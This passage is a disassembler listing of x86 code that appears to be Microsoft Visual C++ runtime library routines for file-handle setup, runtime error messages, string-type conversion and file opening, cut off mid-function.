call dword_421164 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_41D61F
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_41D61F
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41D579
mov esi, eax
loc_41D579: ; CODE XREF: sub_41D4EF+86j
cmp dword_46CA60, esi
jge short loc_41D5D3
mov edi, offset dword_46C964
loc_41D586: ; CODE XREF: sub_41D4EF+DAj
push 100h
call sub_415BE9
test eax, eax
pop ecx
jz short loc_41D5CD
add dword_46CA60, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41D5A4: ; CODE XREF: sub_41D4EF+CFj
cmp eax, ecx
jnb short loc_41D5C0
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41D5A4
; ---------------------------------------------------------------------------
loc_41D5C0: ; CODE XREF: sub_41D4EF+B7j
add edi, 4
cmp dword_46CA60, esi
jl short loc_41D586
jmp short loc_41D5D3
; ---------------------------------------------------------------------------
loc_41D5CD: ; CODE XREF: sub_41D4EF+A4j
mov esi, dword_46CA60
loc_41D5D3: ; CODE XREF: sub_41D4EF+90j
; sub_41D4EF+DCj
xor edi, edi
test esi, esi
jle short loc_41D61F
loc_41D5D9: ; CODE XREF: sub_41D4EF+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41D616
mov cl, [ebp+0]
test cl, 1
jz short loc_41D616
test cl, 8
jnz short loc_41D5F8
push eax
call dword_421030 ; GetFileType
test eax, eax
jz short loc_41D616
loc_41D5F8: ; CODE XREF: sub_41D4EF+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_46C960[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41D616: ; CODE XREF: sub_41D4EF+EFj
; sub_41D4EF+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41D5D9
loc_41D61F: ; CODE XREF: sub_41D4EF+65j
; sub_41D4EF+71j ...
xor ebx, ebx
loc_41D621: ; CODE XREF: sub_41D4EF+195j
mov eax, dword_46C960
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41D67C
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41D63C
push 0FFFFFFF6h
pop eax
jmp short loc_41D646
; ---------------------------------------------------------------------------
loc_41D63C: ; CODE XREF: sub_41D4EF+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41D646: ; CODE XREF: sub_41D4EF+14Bj
push eax
call dword_421034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41D66B
push edi
call dword_421030 ; GetFileType
test eax, eax
jz short loc_41D66B
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41D671
loc_41D66B: ; CODE XREF: sub_41D4EF+163j
; sub_41D4EF+16Ej
or byte ptr [esi+4], 40h
jmp short loc_41D680
; ---------------------------------------------------------------------------
loc_41D671: ; CODE XREF: sub_41D4EF+17Aj
cmp eax, 3
jnz short loc_41D680
or byte ptr [esi+4], 8
jmp short loc_41D680
; ---------------------------------------------------------------------------
loc_41D67C: ; CODE XREF: sub_41D4EF+13Ej
or byte ptr [esi+4], 80h
loc_41D680: ; CODE XREF: sub_41D4EF+180j
; sub_41D4EF+185j ...
inc ebx
cmp ebx, 3
jl short loc_41D621
push dword_46CA60
call dword_421038 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_41D4EF endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6A4 proc near ; DATA XREF: seg001:00417B22o
; sub_41AF25+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41D744
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41D6D7: ; CODE XREF: sub_41D6A4+90j
cmp esi, 0FFFFFFFFh
jz short loc_41D73D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41D72B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41D72B
js short loc_41D736
mov edi, [ebx+8]
push ebx
call sub_416200
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_416242
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_4162D6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41D72B: ; CODE XREF: sub_41D6A4+40j
; sub_41D6A4+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41D6D7
; ---------------------------------------------------------------------------
loc_41D736: ; CODE XREF: sub_41D6A4+54j
mov eax, 0
jmp short loc_41D759
; ---------------------------------------------------------------------------
loc_41D73D: ; CODE XREF: sub_41D6A4+36j
mov eax, 1
jmp short loc_41D759
; ---------------------------------------------------------------------------
loc_41D744: ; CODE XREF: sub_41D6A4+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_416242
add esp, 8
pop ebp
mov eax, 1
loc_41D759: ; CODE XREF: sub_41D6A4+97j
; sub_41D6A4+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D6A4 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_416242
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41D77C proc near ; CODE XREF: sub_417C0E+9p
; sub_417C33+9p
mov eax, dword_46B688
cmp eax, 1
jz short loc_41D793
test eax, eax
jnz short locret_41D7B4
cmp dword_437F14, 1
jnz short locret_41D7B4
loc_41D793: ; CODE XREF: sub_41D77C+8j
push 0FCh
call sub_41D7B5
mov eax, dword_46B7F4
pop ecx
test eax, eax
jz short loc_41D7A9
call eax
loc_41D7A9: ; CODE XREF: sub_41D77C+29j
push 0FFh
call sub_41D7B5
pop ecx
locret_41D7B4: ; CODE XREF: sub_41D77C+Cj
; sub_41D77C+15j
retn
sub_41D77C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D7B5 proc near ; CODE XREF: sub_417C0E+12p
; sub_417C33+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43A5A8
loc_41D7C8: ; CODE XREF: sub_41D7B5+20j
cmp edx, [eax]
jz short loc_41D7D7
add eax, 8
inc ecx
cmp eax, offset off_43A638
jl short loc_41D7C8
loc_41D7D7: ; CODE XREF: sub_41D7B5+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43A5A8[esi]
jnz loc_41D905
mov eax, dword_46B688
cmp eax, 1
jz loc_41D8DF
test eax, eax
jnz short loc_41D808
cmp dword_437F14, 1
jz loc_41D8DF
loc_41D808: ; CODE XREF: sub_41D7B5+44j
cmp edx, 0FCh
jz loc_41D905
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_42107C ; GetModuleFileNameA
test eax, eax
jnz short loc_41D83F
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_415A20
pop ecx
pop ecx
loc_41D83F: ; CODE XREF: sub_41D7B5+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_415B10
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41D882
lea eax, [ebp+var_1A4]
push eax
call sub_415B10
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_416BE0
add esp, 10h
loc_41D882: ; CODE XREF: sub_41D7B5+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_415A20
lea eax, [ebp+var_A0]
push edi
push eax
call sub_415A30
lea eax, [ebp+var_A0]
push offset asc_421B70 ; "\n\n"
push eax
call sub_415A30
push off_43A5AC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_415A30
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41EF8E
add esp, 2Ch
pop edi
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8DF: ; CODE XREF: sub_41D7B5+3Cj
; sub_41D7B5+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43A5AC[esi]
push 0
push eax
push dword ptr [esi]
call sub_415B10
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_421034 ; GetStdHandle
push eax
call dword_421070 ; WriteFile
loc_41D905: ; CODE XREF: sub_41D7B5+2Ej
; sub_41D7B5+59j ...
pop esi
leave
retn
sub_41D7B5 endp
; =============== S U B R O U T I N E =======================================
sub_41D908 proc near ; CODE XREF: sub_417C57+6Cp
; sub_41C178+32p ...
arg_0 = dword ptr 4
inc dword_46B7F8
push 1000h
call sub_415BE9
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41D931
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41D942
; ---------------------------------------------------------------------------
loc_41D931: ; CODE XREF: sub_41D908+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41D942: ; CODE XREF: sub_41D908+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41D908 endp
; =============== S U B R O U T I N E =======================================
sub_41D94C proc near ; CODE XREF: sub_417C57+61p
; sub_4187D6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46CA60
jb short loc_41D95B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D95B: ; CODE XREF: sub_41D94C+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46C960[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41D94C endp
; =============== S U B R O U T I N E =======================================
sub_41D972 proc near ; DATA XREF: seg001:00423020o
mov eax, dword_46C940
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41D986
mov eax, 200h
jmp short loc_41D98C
; ---------------------------------------------------------------------------
loc_41D986: ; CODE XREF: sub_41D972+Bj
cmp eax, esi
jge short loc_41D991
mov eax, esi
loc_41D98C: ; CODE XREF: sub_41D972+12j
mov dword_46C940, eax
loc_41D991: ; CODE XREF: sub_41D972+16j
push 4
push eax
call sub_41F017
pop ecx
mov dword_46B928, eax
test eax, eax
pop ecx
jnz short loc_41D9C5
push 4
push esi
mov dword_46C940, esi
call sub_41F017
pop ecx
mov dword_46B928, eax
test eax, eax
pop ecx
jnz short loc_41D9C5
push 1Ah
call sub_417C0E
pop ecx
loc_41D9C5: ; CODE XREF: sub_41D972+30j
; sub_41D972+49j
xor ecx, ecx
mov eax, offset off_43A638
loc_41D9CC: ; CODE XREF: sub_41D972+6Ej
mov edx, dword_46B928
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43A8B8
jl short loc_41D9CC
xor edx, edx
mov ecx, offset dword_43A648
loc_41D9E9: ; CODE XREF: sub_41D972+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_46C960[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41DA06
test eax, eax
jnz short loc_41DA09
loc_41DA06: ; CODE XREF: sub_41D972+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41DA09: ; CODE XREF: sub_41D972+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43A6A8
jl short loc_41D9E9
pop esi
retn
sub_41D972 endp
; =============== S U B R O U T I N E =======================================
sub_41DA17 proc near ; DATA XREF: seg001:00423030o
; FUNCTION CHUNK AT 0041F0C8 SIZE 00000058 BYTES
call sub_418760
cmp byte_46B674, 0
jz short locret_41DA2A
jmp loc_41F0C8
; ---------------------------------------------------------------------------
locret_41DA2A: ; CODE XREF: sub_41DA17+Cj
retn
sub_41DA17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA2B proc near ; CODE XREF: sub_417D6C+2D4p
; sub_417D6C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41DA37
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DA37: ; CODE XREF: sub_41DA2B+8j
cmp dword_46B6CC, 0
jnz short loc_41DA52
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41DA84
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DA52: ; CODE XREF: sub_41DA2B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43812C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_46B6DC
call dword_421138 ; WideCharToMultiByte
test eax, eax
jz short loc_41DA84
cmp [ebp+arg_0], 0
jz short loc_41DA91
loc_41DA84: ; CODE XREF: sub_41DA2B+1Ej
; sub_41DA2B+51j
mov dword_46B634, 2Ah
or eax, 0FFFFFFFFh
loc_41DA91: ; CODE XREF: sub_41DA2B+57j
pop ebp
retn
sub_41DA2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA93 proc near ; CODE XREF: sub_418576+5Ep
; sub_41CA9C+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421BB0
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_46B7FC
xor ebx, ebx
cmp eax, ebx
jnz short loc_41DB02
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4218A0
push esi
call dword_421028 ; GetStringTypeW
test eax, eax
jz short loc_41DAE0
mov eax, esi
jmp short loc_41DAFD
; ---------------------------------------------------------------------------
loc_41DAE0: ; CODE XREF: sub_41DA93+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_43B198
push esi
push ebx
call dword_42102C ; GetStringTypeA
test eax, eax
jz loc_41DBC8
push 2
pop eax
loc_41DAFD: ; CODE XREF: sub_41DA93+4Bj
mov dword_46B7FC, eax
loc_41DB02: ; CODE XREF: sub_41DA93+2Fj
cmp eax, 2
jnz short loc_41DB2B
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41DB13
mov eax, dword_46B6CC
loc_41DB13: ; CODE XREF: sub_41DA93+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_42102C ; GetStringTypeA
jmp loc_41DBCA
; ---------------------------------------------------------------------------
loc_41DB2B: ; CODE XREF: sub_41DA93+72j
cmp eax, 1
jnz loc_41DBC8
cmp [ebp+arg_10], ebx
jnz short loc_41DB41
mov eax, dword_46B6DC
mov [ebp+arg_10], eax
loc_41DB41: ; CODE XREF: sub_41DA93+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_421064 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41DBC8
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_415390
add esp, 0Ch
jmp short loc_41DB97
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41DB97: ; CODE XREF: sub_41DA93+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41DBC8
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_421064 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41DBC8
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_421028 ; GetStringTypeW
jmp short loc_41DBCA
; ---------------------------------------------------------------------------
loc_41DBC8: ; CODE XREF: sub_41DA93+61j
; sub_41DA93+9Bj ...
xor eax, eax
loc_41DBCA: ; CODE XREF: sub_41DA93+93j
; sub_41DA93+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41DA93 endp
; =============== S U B R O U T I N E =======================================
sub_41DBDC proc near ; CODE XREF: sub_41DDF6:loc_41DF6Ep
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_46C960
loc_41DBEB: ; CODE XREF: sub_41DBDC+48j
mov eax, [ecx]
test eax, eax
jz short loc_41DC28
lea edx, [eax+100h]
loc_41DBF7: ; CODE XREF: sub_41DBDC+28j
cmp eax, edx
jnb short loc_41DC17
test byte ptr [eax+4], 1
jz short loc_41DC06
add eax, 8
jmp short loc_41DBF7
; ---------------------------------------------------------------------------
loc_41DC06: ; CODE XREF: sub_41DBDC+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41DC6B
loc_41DC17: ; CODE XREF: sub_41DBDC+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_46CA60
jl short loc_41DBEB
jmp short loc_41DC6B
; ---------------------------------------------------------------------------
loc_41DC28: ; CODE XREF: sub_41DBDC+13j
mov esi, 100h
push esi
call sub_415BE9
test eax, eax
pop ecx
jz short loc_41DC6B
add dword_46CA60, 20h
lea ecx, ds:46C960h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41DC4E: ; CODE XREF: sub_41DBDC+88j
cmp eax, edx
jnb short loc_41DC66
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41DC4E
; ---------------------------------------------------------------------------
loc_41DC66: ; CODE XREF: sub_41DBDC+74j
shl edi, 5
mov ebx, edi
loc_41DC6B: ; CODE XREF: sub_41DBDC+39j
; sub_41DBDC+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DBDC endp
; =============== S U B R O U T I N E =======================================
sub_41DC71 proc near ; CODE XREF: sub_41DDF6+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46CA60
push edi
jnb short loc_41DCD1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46C960h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41DCD1
cmp dword_437F14, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41DCC7
sub eax, 0
jz short loc_41DCBE
dec eax
jz short loc_41DCB9
dec eax
jnz short loc_41DCC7
push ebx
push 0FFFFFFF4h
jmp short loc_41DCC1
; ---------------------------------------------------------------------------
loc_41DCB9: ; CODE XREF: sub_41DC71+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41DCC1
; ---------------------------------------------------------------------------
loc_41DCBE: ; CODE XREF: sub_41DC71+3Bj
push ebx
push 0FFFFFFF6h
loc_41DCC1: ; CODE XREF: sub_41DC71+46j
; sub_41DC71+4Bj
call dword_421024 ; SetStdHandle
loc_41DCC7: ; CODE XREF: sub_41DC71+36j
; sub_41DC71+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41DCE5
; ---------------------------------------------------------------------------
loc_41DCD1: ; CODE XREF: sub_41DC71+Cj
; sub_41DC71+28j
and dword_46B638, 0
mov dword_46B634, 9
or eax, 0FFFFFFFFh
loc_41DCE5: ; CODE XREF: sub_41DC71+5Ej
pop edi
pop esi
retn
sub_41DC71 endp
; =============== S U B R O U T I N E =======================================
sub_41DCE8 proc near ; CODE XREF: sub_4185EB+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_46CA60
push edi
jnb short loc_41DD4B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:46C960h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41DD4B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41DD4B
cmp dword_437F14, 1
jnz short loc_41DD41
xor eax, eax
sub ecx, eax
jz short loc_41DD38
dec ecx
jz short loc_41DD33
dec ecx
jnz short loc_41DD41
push eax
push 0FFFFFFF4h
jmp short loc_41DD3B
; ---------------------------------------------------------------------------
loc_41DD33: ; CODE XREF: sub_41DCE8+41j
push eax
push 0FFFFFFF5h
jmp short loc_41DD3B
; ---------------------------------------------------------------------------
loc_41DD38: ; CODE XREF: sub_41DCE8+3Ej
push eax
push 0FFFFFFF6h
loc_41DD3B: ; CODE XREF: sub_41DCE8+49j
; sub_41DCE8+4Ej
call dword_421024 ; SetStdHandle
loc_41DD41: ; CODE XREF: sub_41DCE8+38j
; sub_41DCE8+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41DD5F
; ---------------------------------------------------------------------------
loc_41DD4B: ; CODE XREF: sub_41DCE8+Cj
; sub_41DCE8+2Aj ...
and dword_46B638, 0
mov dword_46B634, 9
or eax, 0FFFFFFFFh
loc_41DD5F: ; CODE XREF: sub_41DCE8+61j
pop edi
pop esi
retn
sub_41DCE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DD62 proc near ; CODE XREF: sub_4185EB+32p
; sub_4185EB+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46CA60
jnb short loc_41DD8A
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46C960[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41DD8A
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41DD8A: ; CODE XREF: sub_41DD62+Aj
; sub_41DD62+23j
and dword_46B638, 0
mov dword_46B634, 9
or eax, 0FFFFFFFFh
retn
sub_41DD62 endp
; =============== S U B R O U T I N E =======================================
sub_41DD9F proc near ; CODE XREF: sub_4186C9+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46CA60
jnb short loc_41DDE8
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_46C960[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41DDE8
push eax
call sub_41DD62
pop ecx
push eax
call dword_421020 ; FlushFileBuffers
test eax, eax
jnz short loc_41DDDD
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_41DDDF
; ---------------------------------------------------------------------------
loc_41DDDD: ; CODE XREF: sub_41DD9F+34j
xor eax, eax
loc_41DDDF: ; CODE XREF: sub_41DD9F+3Cj
test eax, eax
jz short locret_41DDF5
mov dword_46B638, eax
loc_41DDE8: ; CODE XREF: sub_41DD9F+Aj
; sub_41DD9F+22j
mov dword_46B634, 9
or eax, 0FFFFFFFFh
locret_41DDF5: ; CODE XREF: sub_41DD9F+42j
retn
sub_41DD9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDF6 proc near ; CODE XREF: sub_4188A0+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41DE1C
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41DE27
; ---------------------------------------------------------------------------
loc_41DE1C: ; CODE XREF: sub_41DDF6+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41DE27: ; CODE XREF: sub_41DDF6+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41DE41
test ch, 40h
jnz short loc_41DE3D
cmp dword_46B908, eax
jz short loc_41DE41
loc_41DE3D: ; CODE XREF: sub_41DDF6+3Dj
or [ebp+var_1], 80h
loc_41DE41: ; CODE XREF: sub_41DDF6+38j
; sub_41DDF6+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41DE79
dec eax
jz short loc_41DE70
dec eax
jz short loc_41DE67
loc_41DE52: ; CODE XREF: sub_41DDF6+9Fj
; sub_41DDF6+E8j ...
mov dword_46B634, 16h
mov dword_46B638, ebx
jmp loc_41E08C
; ---------------------------------------------------------------------------
loc_41DE67: ; CODE XREF: sub_41DDF6+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41DE80
; ---------------------------------------------------------------------------
loc_41DE70: ; CODE XREF: sub_41DDF6+57j
mov [ebp+var_C], 40000000h
jmp short loc_41DE80
; ---------------------------------------------------------------------------
loc_41DE79: ; CODE XREF: sub_41DDF6+54j
mov [ebp+var_C], 80000000h
loc_41DE80: ; CODE XREF: sub_41DDF6+78j
; sub_41DDF6+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41DEAE
cmp eax, 20h
jz short loc_41DEA5
cmp eax, 30h
jz short loc_41DE9C
cmp eax, 40h
jnz short loc_41DE52
mov [ebp+var_10], esi
jmp short loc_41DEB1
; ---------------------------------------------------------------------------
loc_41DE9C: ; CODE XREF: sub_41DDF6+9Aj
mov [ebp+var_10], 2
jmp short loc_41DEB1
; ---------------------------------------------------------------------------
loc_41DEA5: ; CODE XREF: sub_41DDF6+95j
mov [ebp+var_10], 1
jmp short loc_41DEB1
; ---------------------------------------------------------------------------
loc_41DEAE: ; CODE XREF: sub_41DDF6+90j
mov [ebp+var_10], ebx
loc_41DEB1: ; CODE XREF: sub_41DDF6+A4j
; sub_41DDF6+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41DEFB
jz short loc_41DEF6
cmp ecx, ebx
jz short loc_41DEF6
cmp ecx, edi
jz short loc_41DEED
cmp ecx, 200h
jz short loc_41DF14
cmp ecx, 300h
jnz loc_41DE52
mov [ebp+var_8], 2
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DEED: ; CODE XREF: sub_41DDF6+D8j
mov [ebp+var_8], 4
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DEF6: ; CODE XREF: sub_41DDF6+D0j
; sub_41DDF6+D4j
mov [ebp+var_8], esi
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DEFB: ; CODE XREF: sub_41DDF6+CEj
cmp ecx, 500h
jz short loc_41DF1D
cmp ecx, 600h
jz short loc_41DF14
cmp ecx, edx
jz short loc_41DF1D
jmp loc_41DE52
; ---------------------------------------------------------------------------
loc_41DF14: ; CODE XREF: sub_41DDF6+E0j
; sub_41DDF6+113j
mov [ebp+var_8], 5
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DF1D: ; CODE XREF: sub_41DDF6+10Bj
; sub_41DDF6+117j
mov [ebp+var_8], 1
loc_41DF24: ; CODE XREF: sub_41DDF6+F5j
; sub_41DDF6+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41DF43
mov ecx, dword_46B63C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41DF43
push 1
pop esi
loc_41DF43: ; CODE XREF: sub_41DDF6+138j
; sub_41DDF6+148j
test al, 40h
jz short loc_41DF51
or esi, 4000000h
